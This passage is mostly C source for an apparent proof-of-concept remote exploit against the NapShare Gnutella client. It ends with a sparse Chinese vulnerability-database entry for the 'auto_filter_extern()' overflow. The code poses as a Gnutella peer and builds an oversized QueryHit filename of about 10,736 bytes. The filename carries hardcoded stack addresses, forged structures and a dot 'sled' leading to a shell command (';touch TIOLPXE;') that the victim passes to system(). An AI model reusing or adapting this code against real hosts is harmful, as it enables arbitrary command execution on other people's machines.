  }

  random_array(payload_len, Payload);
  memcpy(&Payload[0], &number_hits, 1);
  memcpy(&Payload[1], &port, 1);
  memcpy(&Payload[3], &ip, 4);
  memcpy(&Payload[7], &speed, 4);
  memcpy(&Payload[11], result_set, result_set_len);
  memcpy(&Payload[11 + result_set_len], servent_id, 16);
  
  if(!write_buf(fd, Payload, payload_len)){
    fprintf(out_stream, "send_pong(): couldn't send payload\n");
  }
}/* send_queryhit() *******************************************************/


/***************************************************************************
 * Copy the parts of the Descriptor Header to the msg buffer
 */
void
set_descr_hdr(char * msg,
	      char *msg_id,
	      char descr,
	      char ttl, 
	      char hops,
	      uint32_t len){

  uint32_t len_net = htonl(len);
  
  memcpy(msg, msg_id, MSG_ID_SIZE);
  memcpy(msg + MSG_ID_SIZE, &descr, 1);
  memcpy(msg + MSG_ID_SIZE + 1, &ttl, 1);
  memcpy(msg + MSG_ID_SIZE + 2, &hops, 1);
  /* some problems with endianess... */
  /*  memcpy(msg + MSG_ID_SIZE + 3, &len_net, sizeof(uint32_t)); */
  memcpy(msg + MSG_ID_SIZE + 3, &len, sizeof(uint32_t)); 
}/* set_descr_header() ****************************************************/


/***************************************************************************
 * Create a random array of n bytes at array (assume memory is allocated)
 */
void
random_array(unsigned int n, char * array){
  int i;
  for(i = 0; i < n; i++){
    *(array + i) = rand() % 256;
  } 
}/* random_array() *********************************************************/


/***************************************************************************
 * write a buffer
 */
int
write_buf(int fd, char *buf, unsigned size){
  int ret;

#ifdef DEBUG
  int i;
  fprintf(out_stream, "write_buf(): writing %d bytes:\n", size);
  for(i = 0; i < size; i++)
    fprintf(out_stream, "%.2hhx ", buf[i]);
  fprintf(out_stream, "\n");
#endif
  
  if((ret = write(fd, buf, size)) == -1){
    perror("write_buf(): write failed");
    return 0;
  } else if(ret < size){
    /* couldn't write the whole thing. hmm... */
    fprintf(out_stream, "Written only %d bytes out of %d\n", ret, size);
    return 0;
  }
  return 1;
}/* write_buf() ***********************************************************/



int
dump_fd(int fd, unsigned count){
  int i;
  char c;
  for(i = 0; i < count; i ++){
    if(read(fd, &c, 1) != 1) {perror("Can't read"); return 0;};
    fprintf(out_stream, "%.3d: 0x%.2hhx %c\n", i+1, c, c);
  }
  return 1;
}




/***************************************************************************
 * Reads a Gnutella hader from the given file descriptor.
 * payload_descr: set to the descritor read
 * payload_len: set to the lenght read
 * returns 1 if there were enough bytes read, 0 otherwise
 */
int
read_header(int net_in_fd,
	    char * payload_descr,
	    unsigned int * payload_len,
	    char * descr_id){
  int ret;
  char header[23];
  ret = read(net_in_fd, header, 23);
  if(ret == -1){
    fprintf(out_stream, "read_header(): read() failed\n");
  } 
  if(ret < 23){
    fprintf(out_stream, "can't read the full header, read %d bytes\n", ret);
    return 0;
  }    
  /* header[0]-[15] : message id, or descriptor id */
  /* header[16]     : payload descriptor */
  /* header[17]     : ttl */
  /* header[18]     : Hops */
  /* header[19]-[22]: payload lenght */
  memcpy(descr_id, header, 16);

  *payload_descr = header[16];

  /* Gnutella 0.4 specs says that stuff is little-endian, but it lies */
  /*  *payload_len = ntohl(*(uint32_t *)&header[19]); */
  *payload_len = *(uint32_t*)&header[19];
  fprintf(out_stream, "Payload descr : 0x%.2hhx\n", header[16]);
  fprintf(out_stream, "TTL           : 0x%.2hhx\n", header[17]);
  fprintf(out_stream, "Hops          : 0x%.2hhx\n", header[18]);
  fprintf(out_stream, "Payload len(b): 0x%.2hhx", header[19]);
  fprintf(out_stream, "%.2hhx", header[20]);
  fprintf(out_stream, "%.2hhx", header[21]);
  fprintf(out_stream, "%.2hhx\n", header[22]);
  fprintf(out_stream, "Payload len   : %d\n", *payload_len);
  return 1;
}/* read_header() *********************************************************/


/***************************************************************************
 * payload[0-1]: min speed in kb/sec
 * payload[2-payload_len-1]: search criteria, null terminated
 *
 */
int
parse_query_payload(int fd, unsigned payload_len, char * criteria){
  int i;
  char payload[MAX_IV];
  if(read(fd, payload, payload_len) != payload_len) return 0;

  fprintf(out_stream, "speed %d\n", payload[0] + 0xff * payload[1]);
  if(payload[payload_len - 1] != 0x00){
    fprintf(out_stream, "parse_query_payload(): serach criteria not null\
 termintaed (%.2hhx), fixing it", payload[payload_len - 1]);
    payload[payload_len - 1] = 0x00;
  }
  assert(payload_len > 2);
  strcpy(criteria, &payload[2]);
  fprintf(out_stream, "search criteria: %s\n", criteria);
  return 1;
}/* parse_query_payload() *************************************************/


/***************************************************************************
 * builds the result_set for the QueryHit message. The file name
 * is where the IV should go.
 * result_set[0-3] : file index
 * result_set[4-7] : file size in bytes
 * resutl_set[8-?] : 0x0000 terminated file name
 * result_set: store the result set there (mem already allocated)
 * criteria: serach criteria from the Query msg - in case the peer
 * would some checks to see if the file name in the QueryHit corelates
 * with the criteria sent. napshare doesn't do anything like this, so
 * this parameter is not used.
 * returns: the size of the result set
 */
int
set_result_set(char *result_set, char *criteria){
  char iv[MAX_IV];
  char *index = "iiii";
  char *size = "ssss";
  char doublenull[] = {0x00, 0x00};
  char *s;
  char *end;
  char *tmp;
  int i;

  s = iv;
  /* we need 10736 - 4 bytes to overflow the ip */
  end = s + 10736 - 8; /* -8 because we want ot preserve the saved ebp */

  /* let's build the injection vector */
  /* if will be stored in the filename array, &filename 0xbfbfbcb0 */

  /* 0xbfbfbcb0 */
  /* marker */
  tmp = "AAAABBBBCCCCDDDD";
  while(*tmp) *s++ = *tmp++;

  /*
   * simutale the rc and r structures on the stack - to prevent
   * segmentation faults in g_snprintf() and strcpy()
   */  

  /* 0xbfbfbcc0 - begining of the of the rc structure */
  /* pointer to results_set strucure, but points to itself */
  *s++ = 0xc0;
  *s++ = 0xbc; 
  *s++ = 0xbf;
  *s++ = 0xbf;    
  /* 0xbfbfbcc4 - anything */
  *s++ = 0x01;
  *s++ = 0x01;
  *s++ = 0x01;
  *s++ = 0x01;
  /* 0xbfbfbcc8 - anything */
  *s++ = 0x01;
  *s++ = 0x01;
  *s++ = 0x01;
  *s++ = 0x01;
  /* 0xbfbfbccc - begining of the r structure and rc cont'd */
  /* can be anything */
  *s++ = 0x01;
  *s++ = 0x01;
  *s++ = 0x01;
  *s++ = 0x01;
  /* 0xbfbfbcd0 - a string that is actually used, point to "" */
  /* it just do happens that 0xbfbfe6ac has 0x00000000 */
  *s++ = 0xac;
  *s++ = 0xe6;
  *s++ = 0xbf;
  *s++ = 0xbf;

  /* the payload: simply the shell commands. Note: the '\n' at */
  /* is required, otherwise sh complains and fails us.         */
  tmp = ";touch TIOLPXE;\n";

  /* want to put it as close to the $ebp as possible */
  /* shell "nop sled" */ 
  while(end - s > strlen(tmp)) *s++ = '.';
  
  /* now output the payload */
  while(*(tmp)) *(s++) = *(tmp++);
  
  /* preserv saved ebp (0xbfbfe6b8), so we can have clean return? */
  *s++ = 0xb8;
  *s++ = 0xe6;
  *s++ = 0xbf;
  *s++ = 0xbf;

  /* smasher - no need to smash the ret address, preserve it */
  *s++ = 0x39;
  *s++ = 0x2d;
  *s++ = 0x08;
  *s++ = 0x08;

  /*
   * Need to preserve following function call arguments to survive until
   * return from the function: rc, r, string. 
   */

  /* rc
   * rc is allocated on the heap and its address varies from execution
   * to execution. Let's just point it to an address on the stack that
   * we control.
   * 0xbfbfbc0
   */
  *s++ = 0xc0;
  *s++ = 0xbc;
  *s++ = 0xbf;
  *s++ = 0xbf;

  /* r
   * r's address doesn't change and it's 0x8102a00 - can't send it though,
   * because of the 0x00 byte. Let us use a stack location then. (Note
   * that we could probably use the strcpy() to write that 0x00 byte).
   * 0xbfbfbccc
   */
  *s++ = 0xcc;
  *s++ = 0xbc;
  *s++ = 0xbf;
  *s++ = 0xbf;
  
  /* string
   * string (with some other strings concatenated) will be passed
   * to the system(3) call. Let us then point to the stack, where we
   * can easily store a shell command of out choice.
   * 0xbfbfe628
   */  
  *s++ = 0x28;
  *s++ = 0xe6;
  *s++ = 0xbf;
  *s++ = 0xbf;
  
  /* null-terminate for the strlen() below  to work */
  *s = 0x00;

  /* we have all the parts, build the result set */
  memcpy(&result_set[0], index, 4);
  memcpy(&result_set[4], size, 4);
  memcpy(&result_set[8], iv, strlen(iv));
  memcpy(&result_set[8 + strlen(iv)], doublenull, 2);

  return 4 + 4 + strlen(iv) + 2;
}/* set_result_set() ******************************************************/		

- 漏洞信息

12445
NapShare extern Filter auto_filter_extern() Function Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-12-16 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站